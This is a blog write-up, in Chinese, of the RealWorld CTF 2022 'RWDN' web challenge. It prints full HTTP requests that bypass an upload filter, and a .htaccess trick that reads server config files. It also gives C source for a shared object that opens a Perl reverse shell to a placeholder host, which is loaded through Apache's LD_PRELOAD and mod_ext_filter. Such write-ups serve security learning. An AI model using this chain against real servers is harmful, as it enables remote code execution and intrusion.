c1ay's blog

RealWorld2022 RWDN复现总结

字数统计: 2.2k阅读时长: 11 min
2022/01/27 Share

RealWorld2022 RWDN复现总结

http://47.243.75.225:31337/

打开后是一个上传页面

mark

尝试上传漏洞未果,上传的文件地址:http://47.243.75.225:31338/md5值/文件名

主页有一个/readflag提示

mark

访问http://47.243.75.225:31337/source

可以获取源码,后端是nodejs,代码如下

server.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
const express = require('express');
const fileUpload = require('express-fileupload');
const md5 = require('md5');
const { v4: uuidv4 } = require('uuid');
const check = require('./check');
const app = express();
const PORT = 8000;
app.set('views', __dirname + '/views');
app.set('view engine', 'ejs');
app.use(fileUpload({
useTempFiles : true,
tempFileDir : '/tmp/',
createParentPath : true
}));
app.use('/upload',check());
app.get('/source', function(req, res) {
if (req.query.checkin){
res.sendfile('/src/check.js');
}
res.sendfile('/src/server.js');
});
app.get('/', function(req, res) {
var formid = "form-" + uuidv4();
res.render('index', {formid : formid} );
});
app.post('/upload', function(req, res) {
let sampleFile;
let uploadPath;
let userdir;
let userfile;
sampleFile = req.files[req.query.formid];
userdir = md5(md5(req.socket.remoteAddress) + sampleFile.md5);
userfile = sampleFile.name.toString();
if(userfile.includes('/')||userfile.includes('..')){
return res.status(500).send("Invalid file name");
}
uploadPath = '/uploads/' + userdir + '/' + userfile;
sampleFile.mv(uploadPath, function(err) {
if (err) {
return res.status(500).send(err);
}
res.send('File uploaded to http://47.243.75.225:31338/' + userdir + '/' + userfile);
});
});
app.listen(PORT, function() {
console.log('Express server listening on port ', PORT);
});

根据server.j代码的提示,访问/source?checkin=xxx,获取check.js的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
module.exports = () => {
return (req, res, next) => {
if ( !req.query.formid || !req.files || Object.keys(req.files).length === 0) {
res.status(400).send('Something error.');
return;
}
Object.keys(req.files).forEach(function(key){
var filename = req.files[key].name.toLowerCase();
var position = filename.lastIndexOf('.');
if (position == -1) {
return next();
}
var ext = filename.substr(position);
var allowexts = ['.jpg','.png','.jpeg','.html','.js','.xhtml','.txt','.realworld'];
if ( !allowexts.includes(ext) ){
res.status(400).send('Something error.');
return;
}
return next();
});
};
};

根据代码逻辑可知,在上传文件时,对应server.js的/upload接口,会首先经过check.js的检查,check.js当中先检查了get参数formid是否为空、是否存在上传文件,接着会遍历上传文件,获取文件名,对后缀进行白名单检查,如果不符合要求,就直接返回400状态码打印Something error. 符合要求就返回next(),进入server.js的/upload路由

在server.js的/upload路由当中获取到name为req.query.formid的文件,然后根据md5(md5(req.socket.remoteAddress) + sampleFile.md5)生成上传目录,将文件上传到生成的目录下,这里文件名当中不能有..和/,否则会返回Invalid file name,上传的文件会同步到31338端口的apache下

绕过:

因为check.js当中是依次遍历上传文件的,所以这里可以通过多文件上传绕过对后缀的检测,因为目录名受sampleFile.md5的影响,所以可以先上传正常文件获取目录名,再进行多文件上传

step1:

上传白名单后缀文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /upload?formid=aaa HTTP/1.1
Host: 47.243.75.225:31337
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------245630263842877629631739221392
Content-Length: 221
Origin: http://47.243.75.225:31337
Connection: close
Referer: http://47.243.75.225:31337/
Upgrade-Insecure-Requests: 1
-----------------------------245630263842877629631739221392
Content-Disposition: form-data; name="aaa"; filename="111.txt"
Content-Type: text/plain
111
-----------------------------245630263842877629631739221392--

mark

获取上传目录:6ef9ccdc30059c526a93f6f15f9f634d

step2

多文件上传,这里将上传的第二个文件的name设置为和req.query.formid值aaa一致,这样在check.js对上传文件进行遍历时会先获取到name为bbb的文件,符合白名单后返回next(),进入server.js /upload的上传逻辑,获取到name值为aaa的文件进行上传,这样就可以成功绕过后缀检测上传想要上传的文件了(需要注意两个文件内容必须一致,不然sampleFile.md5会变,上传目录也会变)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /upload?formid=aaa HTTP/1.1
Host: 47.243.75.225:31337
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------245630263842877629631739221392
Content-Length: 379
Origin: http://47.243.75.225:31337
Connection: close
Referer: http://47.243.75.225:31337/
Upgrade-Insecure-Requests: 1
-----------------------------245630263842877629631739221392
Content-Disposition: form-data; name="bbb"; filename="111.txt"
Content-Type: text/plain
111
-----------------------------245630263842877629631739221392
Content-Disposition: form-data; name="aaa"; filename="111.php"
Content-Type: text/plain
111
-----------------------------245630263842877629631739221392--

mark

可以看的这里虽然返回Something error.,但是111.php上传成功了

mark

这里返回Something error.的是因为第二次遍历到了name为aaa的文件后缀不在白名单之内,但是在此之前我们的文件在第一波后缀检测后就已经进入server.js的/upload路由上传成功了

这里的apache环境解析不了php,所以可以先通过上传.htaccess进行任意文件读取

ErrorDocument 404 "%{file:/etc/apache2/apache2.conf}"

Apache HTTP服务器中的表达式:

1
2
variable ::= "%{" varname "}"
| "%{" funcname ":" funcargs "}"

mark

step1:

获取上传目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /upload?formid=aaa HTTP/1.1
Host: 47.243.75.225:31337
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------245630263842877629631739221392
Content-Length: 271
Origin: http://47.243.75.225:31337
Connection: close
Referer: http://47.243.75.225:31337/
Upgrade-Insecure-Requests: 1
-----------------------------245630263842877629631739221392
Content-Disposition: form-data; name="aaa"; filename="111.txt"
Content-Type: text/plain
ErrorDocument 404 "%{file:/etc/apache2/apache2.conf}"
-----------------------------245630263842877629631739221392--

mark

上传目录:0a1a1a3e8607712856d33e49fb7b8af6

step2:

上传恶意.htaccess

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /upload?formid=aaa HTTP/1.1
Host: 47.243.75.225:31337
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------245630263842877629631739221392
Content-Length: 481
Origin: http://47.243.75.225:31337
Connection: close
Referer: http://47.243.75.225:31337/
Upgrade-Insecure-Requests: 1
-----------------------------245630263842877629631739221392
Content-Disposition: form-data; name="bbb"; filename="111.txt"
Content-Type: text/plain
ErrorDocument 404 "%{file:/etc/apache2/apache2.conf}"
-----------------------------245630263842877629631739221392
Content-Disposition: form-data; name="aaa"; filename=".htaccess"
Content-Type: text/plain
ErrorDocument 404 "%{file:/etc/apache2/apache2.conf}"
-----------------------------245630263842877629631739221392--

mark

step3:

访问404页面即可读取.htaccess当中设置的文件

mark

看到这里配置文件当中设置了ExtFilterDefine 7f39f8317fgzip mode=output cmd=/bin/gzip,通过wp学习到可以通过SetOutputFilter加载恶意so文件执行命令

关于apache的mod_ext_filter

官方文档描述:
Description:Pass the response body through an external program before delivery to the client

可以理解为Apache中间件与客户端(浏览器)之间的一个过滤器,两者之间的传输流会先经过该过滤器处理

使用:

ExtFilterDefine:定义一个过滤器

mark

参数:

mode:定义要处理的流,input/output

cmd:定义过滤器的处理程序

SetOutputFilter:选择一个已定义的过滤器使用

因为在SetOutputFilter时,会新启动ExtFilterDefine当中设置的进程,所以可以使用LD_PRELOAD加载so执行命令

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。

mod_ext_filter测试:

对应so文件/usr/lib/apache2/modules/mod_ext_filter.so,默认就是存在的,使用前需要先开启该模块

1
ln -s /etc/apache2/mods-available/ext_filter.load /etc/apache2/mods-enabled/ext_filter.load

mod_env

setEnv 设置环境变量

step4:

编译恶意so文件并上传

evil.so

1
2
3
4
5
6
7
8
9
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void reverse_shell()
{
unsetenv("LD_PRELOAD");
system("perl -e 'use Socket;$i=\"VPS\";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'");
}

编译

1
gcc evil.c -shared -fPIC -o evil.so

上传恶意so,后缀txt就可以

mark

so文件地址:
/var/www/html/63e27c261f8f794877cee77be7ec3c73/evil.txt

step5:

SetOutputFilter加载恶意so文件执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /upload?formid=aaa HTTP/1.1
Host: 47.243.75.225:31337
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------245630263842877629631739221392
Content-Length: 323
Origin: http://47.243.75.225:31337
Connection: close
Referer: http://47.243.75.225:31337/
Upgrade-Insecure-Requests: 1
-----------------------------245630263842877629631739221392
Content-Disposition: form-data; name="aaa"; filename="111.txt"
Content-Type: text/plain
SetEnv LD_PRELOAD /var/www/html/63e27c261f8f794877cee77be7ec3c73/evil.txt
SetOutputFilter 7f39f8317fgzip
-----------------------------245630263842877629631739221392--

mark

获得上传目录:717f225e1bd598e5b51f07535d55627f,进行多文件上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /upload?formid=aaa HTTP/1.1
Host: 47.243.75.225:31337
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------245630263842877629631739221392
Content-Length: 585
Origin: http://47.243.75.225:31337
Connection: close
Referer: http://47.243.75.225:31337/
Upgrade-Insecure-Requests: 1
-----------------------------245630263842877629631739221392
Content-Disposition: form-data; name="bbb"; filename="111.txt"
Content-Type: text/plain
SetEnv LD_PRELOAD /var/www/html/63e27c261f8f794877cee77be7ec3c73/evil.txt
SetOutputFilter 7f39f8317fgzip
-----------------------------245630263842877629631739221392
Content-Disposition: form-data; name="aaa"; filename=".htaccess"
Content-Type: text/plain
SetEnv LD_PRELOAD /var/www/html/63e27c261f8f794877cee77be7ec3c73/evil.txt
SetOutputFilter 7f39f8317fgzip
-----------------------------245630263842877629631739221392--

mark

end:

end:访问服务器资源时,会调用ExtFilterDefine定义的gzip对响应流进行处理,并加载恶意so,执行代码

mark

获取flag:

mark

rwctf{cd81450983c06bcb4438dfb8de45ec04}

CATALOG
  1. 1. RealWorld2022 RWDN复现总结